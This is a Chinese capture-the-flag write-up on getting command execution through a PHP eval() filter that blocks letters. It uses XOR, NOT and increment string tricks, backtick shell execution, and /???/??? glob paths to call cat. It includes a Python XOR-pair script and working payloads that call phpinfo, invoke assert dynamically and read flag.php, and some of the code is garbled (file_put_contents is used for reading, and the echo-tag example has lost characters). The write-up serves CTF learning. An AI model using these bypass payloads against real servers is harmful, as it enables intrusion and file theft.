渗透测试linux命令(渗透测试学习之命令执行类)

直接上干货:

题目:

<?php show_source(__file__); $mess=$_POST['mess']; if(preg_match("/[a-zA-Z]/",$mess)){ die("invalid input!"); } eval($mess); ?>

解决思路

看了代码之后觉得是道普通的题目,对于`/a-zA-Z/`这个正则表达式,我们 可以利用PHP动态函数的特性,构造出字符串即可。 对于想要的字符串,我们可以通过以下三种方式来构造异或

对于PHP中的字符串,两个字符串异或的结果是将两个字符串逐位异或,返回 一个新字符串。那么我们便可以使用此特性进行构造。 例如我们需要构造`phpinfo`,则可以用脚本得到`('0302181', '@[@[_^^')` 这两个字符串,脚本如下: !!!!!!

valid="1234567890!@$%^*(){}[];\'\",.<>/?-=_`~" answer="phpinfo" tmp1,tmp2='','' forcinanswer: foriinvalid: forjinvalid: if(ord(i)^ord(j)==ord(c)): tmp1 =i tmp2 =j break else: continue break print(tmp1,tmp2) !!!!!!!!!!!!!!!!!!!!!!

渗透测试linux命令(渗透测试学习之命令执行类)(1)

postdata提交: mess=$_="0302181"^"@[@[_^^";$_();

取反构造

和第一种类似,都是基于PHP字符串位运算的特点(会逐位进行位运算)。而 取反构造某些情况比异或构造要方便,因为异或的情况某些字符是无法直接通过 其他字符进行异或构造的,而取反却可以利用汉字或者其他特殊字符进行构造 (不会有题目会限制某个汉字吧)。比如字母`s`我们可以通过`~('和'{2})`得 到。而这个时候如果要用异或去构造的话,你得找到两个异或值为`s`的特殊字 符。取反构造的脚本和异或构造类似,在此不再给出。

自增构造

在PHP中,“ ’a’ == ‘b’” 这个特点是利用了PHP是弱类型语言的特性,在对变量进行操作的时候,PHP 会隐式的转换其变量类型,很多代码审计的题目也是利用了这一特性

遇到障碍

有了上面的思路后,而且也成功执行了`phpinfo()`,下一步是不是就可以直 接构造命令执行函数去进行读取文件,当时我也是这么想的,于是我构造了 `passthru(), system(), shell_exec(), exec()`等函数,都受到了阻碍,没有 回显,通过进一步的调试之后发现是禁用了这些函数(通过在函数后面加一个打 印函数观察是否执行)。

在这里我停留了很久,试过打印`$globALS`等都没有任何有用的信息。最后 通 过 使 用 `glob()` 函 数 进 行 目 录 扫 描 , 发 现 了 flag.php 文 件 , 以 及 `file_get_contents()`进行获取,最终的payload如下: ?mess=$_="`0123"^"?`~``";${$_}[_](${$_}[__]);&_=assert&__=print_r(b ase64_encode(file_put_contents("flag.php")))

渗透测试linux命令(渗透测试学习之命令执行类)(2)

最后再将其界面就可以得到最终的flag了。在最终的payload中我没有去一个 一 个 的 构 造 字 符 串 异 或 , 因 为 那 太 长 了 , 而 是 构 造 了 一 个 `$_POST[_]($_POST[__])`的动态函数,这样就可以在其他参数位置直接写函数 了。

当打印函数被禁用时

如果没有了打印函数,意味着你无法看到回显,这时候即使命令执行成功了 你也无法得到信息,这个时候你就得利用其他方式去获取回显了。 首先是网上很多blog使用的方式,phpinfo如果发现开启了curl,或者其他文 件传输扩展的的话,可以自建一个靶机,将所有访问信息存入数据库或是文件, 然后将回显信息发送到你的靶机地址,这样你去看日志就可以了,这种方式不是 很方便而且有一定的局限性。这里我要介绍的是一种新的方式

如果你使用过`Django`或者`jsp`开发web的话,你肯定知道输出一个变量可

以使用`{{xxx}}`或是`<%=xxx%>`的方式,那么在PHP中是否也有这种方式呢,答

案是肯定的,PHP中的``就可以将一个变量输出,那么如果使用它呢,你

只需要构造如下的payload:“$_="xxx";?>”

这样就可以将变量`$_`里面的内容打印到屏幕上,而且关键的是这个输出方

式默认是开启的,管理员很容易就忽视这个选项。所以在做题时不妨一试。

其他的命令执行方式

当 `system` , `passthru` 等 不 能 用 时 , 网 上 会 告 诉 你 可 以 使 用

`popen,proc_open`这些管道命令去进行执行命令,当然这没有问题,而这里我向

你介绍一种新方式,使用反引号,在PHP中,被两个反引号括起来的内容将会作为

shell命令执行,并将输出信息返回,所以你可以构造下面的payload进行命令执

行:“$_=’ls’;”。

不能使用数字字母的命令执行

当不能使用字母数字时,当然你可以使用上述的方式构造字符串进行执行,

但是这里提供一些新东西,对于linux中的shell是支持正则表达式的,当你忘记

某些字符时可以通过`? % *`来代替,经过测试,这里的匹配方式也是按照顺序进

行匹配,所以你可以查看你的linux中/bin目录下面的顺序,来获取一些可以使用

的命令,比如:“/???/???

=> /bin/cat”

那么这样的话,如果要获取`/var/www/html/index.php`(你得感谢apache默

认目录如此之深),则可以直接使用“/???/??? /???/???/????/?????.???”来

获取。

总结:

这篇文章只是针对这道题而延展出的一些东西,在真正做题时,情况可能更

加复杂,例如限制长度,限制参数等等情况,而我们的做法也不可能千篇一律,

可能某些时候我们甚至会用到一些CVE漏洞。而本篇文章只是告诉读者一些可能以

前没有见过的新东西

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页